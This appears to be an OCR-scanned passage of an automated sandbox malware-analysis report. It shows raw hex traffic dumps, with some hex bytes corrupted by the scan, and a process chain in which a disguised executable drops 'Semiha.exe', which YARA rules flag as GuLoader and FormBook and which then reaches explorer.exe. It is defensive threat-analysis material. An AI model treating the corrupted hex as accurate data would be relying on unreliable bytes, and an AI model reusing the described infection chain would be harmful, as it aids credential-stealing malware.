2021-12-20 13:26:00 UTC 161 IN Data Raw: e5 80 ae 13 cb ad 5e 2c 90 b8 0a 8a 47 6a 3a a5 f4 ca d9 Ob f9 ac a3 97 cc b6 51 a5 a2 72 9f f1 2d 61 fd f1 6b
5e 5fc3 7c c9 1le 23 ch 5¢c a0 ea 7d c9 58 ed 74 03 08 Oe 17 68 79 56 42 08 12 7f b3 4a cd 13 59 73 ca ec 2f ¢3 9e 90 b2
29 ed Oa 15 eaec 27 31 ad d5 60 37 c1 d7 70 Oc 5a fb ad 2d 4e 68 23 71 70 Ob 2c dO 5¢ 5¢ 70 32 9f cc 78 af 15 41 f2 1c
61 fb a9 00 e2 51 76 4b 03 53 e2 18 be a7 5¢c 6b 76 8d 15 b0 86 eb 8d 15 7f b3 8a 0d b9 85 Oe 89 c0 Ob cb e5 eb 83 f2 eb
19 7af3 48 00 90 77 67 fa 53 e7 d6 el 04 a8 f3 f2 26 ad 4e de 46 99 4d e0 94 7f 79 48 7f ef 3b 7e 16 9a 26 fO 71 ad fb 90
41 6b 06 78 ab 3a 8a 19 18 d1 51 a9 9a 09 c9 f8 53 8b 54 a8 81 b7 8b bd 19 4b ec ac 56 6d 57 7a 85 46 4d 9a ad 66 Oe 3f
le 74 93 55 a3 f9 c4 ec ff b8 9a 09 f1 43 8e ec 90
Data Ascii: #,Gj:Qr-ak™_[#\}XthyVBJYs/)'1" 7pZ-Nh#qp,\\p2xAaQvKS\kvzHWgS&NFMyH;~&qAkx:QSTKVmWzFMf2tUC

2021-12-20 13:26:00 UTC 162 IN Data Raw: al ce 21 3b ea 33 e4 58 d4 14 f9 ef 3b 8f 3d 28 75 5d 07 e4 cb cd 10 c8 51 f4 fa c4 e4 bd 65 05 8f 5¢c b4 d4 78
4f d4 56 29 85 06 7f 1a af dd 77 6e 07 b9 5d be 34 1c 34 ba ec 7f c4 19 21 46 95 48 1d 1a 38 8f e0 f8 74 80 a8 1b 18 6b
ba cb 5e 2c 69 ¢7 50 4a ca 29 a8 b6 cc 38 a7 e9 6f 36 1f db 97 95 f5 f1 7c f0 57 db af af c2 7c 18 52 18 ed 29 7b 93 88 e5
70 3b 76 aa €9 3d 72 de c3 7f 88 dc 89 ce d8 de ac 51 70 26 ec 70 b5 79 33 91 ca 82 ff 96 18 e8 08 5f 71 fc 05 df 2e cd 8e
7e 4f 07 6¢ 74 Oc f2 3c b8 71 d8 9d 36 0a 67 08 10 fb b8 b2 3c dc 45 45 de ff b3 60 8¢ b9 b6 4c 24 4a 24 02 af 7c 76 5d Oe
8c 6f c8 b7 06 13 91 87 4f fc bb 65 31 92 €9 4f 8d 2e ba c7 13 a4 67 0f 92 dc 34 3a 22 72 e2 8a 92 2f 70 1f a3 9c d7 dc 6f
6b 41 89 96 49 a6 63 50 4e 7a 4b 18 be 70
Data Ascii: 1;3X;=(u]Qe\xOV)wn]44!FH8tkA,iPJ)806|W|R){p;v=rQp&py3_q.~Olt<q6g<EE’L$I$|v]o0el10.g4:"r/pokAlcPNzKp

2021-12-20 13:26:00 UTC 163 IN Data Raw: 2e d8 f4 10 35 28 4f 6a b5 44 cc 1b 94 60 48 36 85 61 1f 5e 1c 24 f2 51 Oe a9 a2 76 03 e3 13 56 6f 64 8e af 27
74 3e b6 75 b3 90 e6 df al ba 7b 52 f1 15 86 d4 aa 00 b6 8a 68 d7 99 c8 8e 32 89 5b 47 86 e3 4b 24 31 a5 50 11 43 59 bf
17 Oa ca 9d 34 2c e2 fe 6b 9b 9a ce bb 6b 1d c4 4e 2e c3 b9 5¢ 14 2b 6a 29 Oa be a9 ed 1d b2 86 93 ec 1e €8 92 bb ad ae
84 6¢ c4 2e 82 29 b8 60 7f 09 06 91 9d 95 45 1d 9c bf 2a d1 0a 39 10 35 65 d1 b6 6a bd 7d 83 a0 0d 34 c5 4b 7e e8 b5 ca
43 b4 72 4d 17 96 de 6b 85 5¢ 95 f5 ea a3 86 3a 66 a0 be b5 ce 25 c0 ef bc 7¢c 62 71 d7 da 39 be 48 07 Oe 1a 53 9a c7 bf
al a2 62 39 b5 af cb 37 5f 46 e7 59 f9 40 92 2c 8e 7f 27 6a 7f 8f 0d 77 1a 07 €7 f5 c9 2e 7a 0d 3a 3 b4 b8 85 ba fd 51 22
29 d5 71 f9 94 ba be b3 26 74 d4 57 b7 e5 60 1f ff
Data Ascii: .5(0jD H6a"$QvVod't>U{Rh2[GK$1PCY4, KkN.\+j)I.) E*95ej}4K~CrMK\:f%|bg9HSh97_FY@,'jw.z:Q")q&tW"

2021-12-20 13:26:00 UTC 165 IN Data Raw: 92 5 f8 30 ¢7 6a 93 ba aa al 03 4c 28 c7 55 bc 32 d4 Ob ca e6 2d 8d eb d3 32 a0 65 e9 27 68 eb 49 00 23 ba
74 €6 a6 1b 09 15 4b 74 7d f9 a6 b4 e8 ef 45 a4 b0 30 a9 ca 39 79 ee 22 33 8e 98 6d ae a6 3d d4 89 d9 f2 a6 31 18 fc 4d
85 7e 87 05 3c 59 f3 7c 34 5f ad 99 1e 8b 64 80 60 e cf 15 23 01 82 69 92 81 1d 7c 3f 09 bc 64 bb 94 bc b7 1f el f8 11
40 4a f4 6¢ 4e bf 30 3a d3 2b d2 ba 35 a9 34 de ba 28 b0 3e af bc 20 66 c6 f1 b6 Ob ff da fe 36 ef b7 f8 be f6 09 €6 d5 2b
76 c4 0d c4 0f 72 2d Of 15 8e b8 03 21 50 Oe af 09 8b e2 16 49 3b 13 60 cc 1f cO ae 38 09 c8 c7 c8 2d c4 f1 74 ed 78 f7 60
5f da 5a d1 ea 11 c8 f1 22 2a b2 f7 0b 4b 81 b4 c6 3e 71 e2 b2 38 36 ¢3 6f €3 3¢ 68 a0 72 1a 59 cd 69 5e 87 d3 65 31 da
Oc ff 4f 4e 2f db 1a 73 87 cc 00 31 0d 18 fb 6¢ 21
Data Ascii: OjL(U2-2e'hI#tKt}E09y"3m=1M~<Y|4_d #i|?d@JINO:+54(> f6+vr-IPl;"8-tx"_Z"*K>q860<hrYi*e1ON/s1l!

2021-12-20 13:26:00 UTC 166 IN Data Raw: 57 ce 26 14 2a 03 89 16 ee 07 11 e5 fd fe e9 7c 8a 06 41 85 fd 80 80 bc ¢9 4d 54 ae 41 e9 1e bb 59 1c 66 {3
Oe d6 6d 8f be ce 2d 46 89 6¢ 71 95 97 82 3a 83 ch 92 63 51 58 eb 45 75 9d ed dc Oc 15 f6 60 b6 b8 €9 7a 54 77 d2 Ob 9d
91 5¢ ¢4 81 57 0a be bf 07 b7 f4 5b 82 1a 70 ec dd 11 6d d8 16 6f 9c 75 db 66 6f cd a5 83 28 91 e6 d5 85 88 fc 1c 2e 29
d7 b7 35 43 e2 ba cb ba 80 a0 da 19 ec 4b df ce fd 21 de f3 9d b8 b3 el 0f 30 17 95 39 13 fa 73 49 b5 93 €0 ee dO 3f b5
4e 84 a6 58 92 79 95 5d c9 1d bd 25 74 53 99 4e e0 cb f4 42 36 7e 75 86 86 fd f9 1e b1 76 a9 50 5e fc 11 25 6¢ f9 57 ff 43
e5 fe 62 72 8d ce c9 bl ca 58 f6 44 b7 50 88 24 06 57 48 61 28 fO 8d 84 14 97 df d6 23 e0 ad bf 97 75 f2 82 d7 2f a2 87 22
6c d9 60 46 81 80 92 be bc 95 a7 61 18 12 2d 1b 3e
Data Ascii: W&*|AMTAYfm-Flg:cQXEu zTw\W[pmoufo(.)5CK!09sI?NXy]%tSNB6~uvP"%IWCbrXDP$WHa(#u/'l'Fa->

2021-12-20 13:26:00 UTC 167 IN Data Raw: 1a 6¢ 22 5b 6¢ 85 e4 6e 5d b5 13 95 03 97 bf 07 99 9c 87 ee a8 a0 4c d3 93 3b 07 60 8b b9 db ee 74 81 b7 al
5569 1f €9 f7 99 55 71 a9 f1 57 6b 67 cb 99 1c 3e dc ¢7 b8 c9 72 9e be b3 b5 36 30 eb 50 30 bf cd el b7 2b b8 68 5¢ Oe
a8 ea ad 9b 87 e9 6a e7 7d 17 cc 70 ea b8 2d f1 23 bf ce 7a ¢3 84 92 6¢ d3 18 48 09 6e f1 2c 25 23 43 98 44 78 fb 52 20
8e 5f 24 8f 2f 6¢ df 9f 79 bl cd 4f 7b 68 1b 52 f6 f7 ae 1d 85 f1 31 66 69 90 06 74 fb 3e 69 02 ae 7b 50 df dc d4 00 6¢ dO 44
43 49 21 56 9a cc 6d b0 eb cc 51 82 38 ca a9 97 63 22 4¢ 96 49 12 e4 63 44 ae ef a0 23 b3 dc 5e 84 9e 6a 0a 16 00 ec Oa
b6 8e 5¢ ¢5 67 b0 5d d8 aa fa 8f 08 58 f4 df 69 al cO 84 53 7e 3a 6e 4e f3 ac 95 a4 c7 e7 21 89 ef 57 el a2 fd a9 0 ff 1b
d7 2f c4 09 41 6d e5 50 02 b4 44 ee cb cc 7b bf
Data Ascii: I'[In]L; tUiUgWkg>r60P0+h\j}p-#zIHn,%#CDxR _$/lyO{hR1fit>i{PIDCI!'VMQB8c"LIcD#"j\g]XiS~:nN!W/AmPD{
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 168 IN Data Raw: 41 57 d6 1d el e0 0d 47 30 a2 98 a4 a2 Oe 3a e4 af 5e ¢8 55 98 e6 09 b7 33 8a 47 27 8e 8c 78 e3 48 05 3e 3f
fc 7e 01 bd 76 3a 7e de e7 a2 c8 bb €8 c1 39 3d 70 2d 40 33 3a c0 56 74 a8 de 67 29 a6 81 60 01 4d 66 Ob 19 7f f4 5b 53
f7 83 16 61 a5 68 e6 d7 68 25 4d 85 al 76 b7 1b 53 f9 be a4 21 20 66 44 21 d9 54 a5 ae 97 c8 58 af 47 c0 b1 fc 5¢c bl e5
dd 1f f3 b2 21 c4 68 66 42 c3 bf a8 4b d7 68 5d f9 5e 97 4b cc 93 31 b6 02 4b 04 a0 c9 c8 93 7c 9d f5 21 el 6e 8c eb 67 c6
ab 59 02 9b 88 d8 df 96 72 a9 9e 02 49 5b 01 7b 62 b4 51 1f 5a b2 ¢7 74 61 04 9b 19 fc 55 Ob 5¢ bd f1 34 94 75 9d 92 e7
c22e7111e19785319d 1291 d5 cc d8 Oa 4a df bd dc 13 c5 62 1d 85 bb f2 7f 33 27 a2 e4 31 c9 08 37 ad e9 3b c5 98
2d 24 97 95 99 3 bf 9a 00 fe Oc dO 78 42 7e Oa bc f4
Data Ascii: AWG0:"U3G'xH>?~Vv:~9=p-@3:Vtg) Mf[Sahh%MvS! fDITXG\IhfBKh]*K1K|!IngYrl[{bQZtaU\4u.q1Ib3'17;-$xB~

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: Original Doc Ref SN02853801324189923.exe PID: 6352 Parent PID:

6132
General
Start time: 14:22:02
Start date: 20/12/2021
Path: C:\Users\user\Desktop\Original Doc Ref SN02853801324189923.exe
Wow64 process (32bit): true
Commandline: "C:\Users\user\Desktop\Original Doc Ref SN02853801324189923.exe"
Imagebase: 0xfc0000
File size: 214528 bytes
MD5 hash: 2B40B86C870AB6BOE9BO8F26BD231E1A
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
File Written
Registry Activities Show Windows behavior

Key Value Created
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Analysis Process: Semiha.exe PID: 6404 Parent PID: 6352

General

Start time: 14:22:03

Start date: 20/12/2021

Path: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Semiha.exe

Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\IXP0O00.TMP\Semiha.exe

Imagebase: 0x400000

File size: 114688 bytes

MD5 hash: AE871D1957030344D4CEFC7295A1E964

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:

00000002.00000002.482011607.00000000029E0000.00000040.00000001.sdmp, Author:
Joe Security

Reputation: low
File Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 6612 Parent PID: 3292

General

Start time: 14:22:14

Start date: 20/12/2021

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DeINodeRunDLL32

"C:\Users\user~1\AppData\Local\Temp\IXP0O00.TMP\

Imagebase: 0x7ff60c4c0000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: Semiha.exe PID: 5580 Parent PID: 6404

General

Start time: 14:23:56

Start date: 20/12/2021

Path: C:\Users\user\AppData\Local\Temp\IXPO00.TMP\Semiha.exe

Wow64 process (32bit): true

Commandline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\Semiha.exe

Imagebase: 0x7ff724940000

File size: 114688 bytes

MD5 hash: AE871D1957030344D4CEFC7295A1E964

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches: .

Reputation: low

File Activities

File Created

File Read

Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000019.00000000.481436441.0000000000560000.00000040.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000019.00000002.782433249.000000001E460000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000019.00000002.782433249.000000001E460000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000019.00000002.782433249.000000001E460000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000019.00000002.779078252.0000000000560000.00000040.00000001.sdmp, Author:
Joe Security

Show Windows behavior

Analysis Process: explorer.exe PID: 3292 Parent PID: 5580

General

Start time: 14:26:01

Start date: 20/12/2021

Path: C:\Windows\explorer.exe
Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE
Imagebase: 0x7ff662bf0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BABOELD
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Reputation: high
Disassembly

Code Analysis
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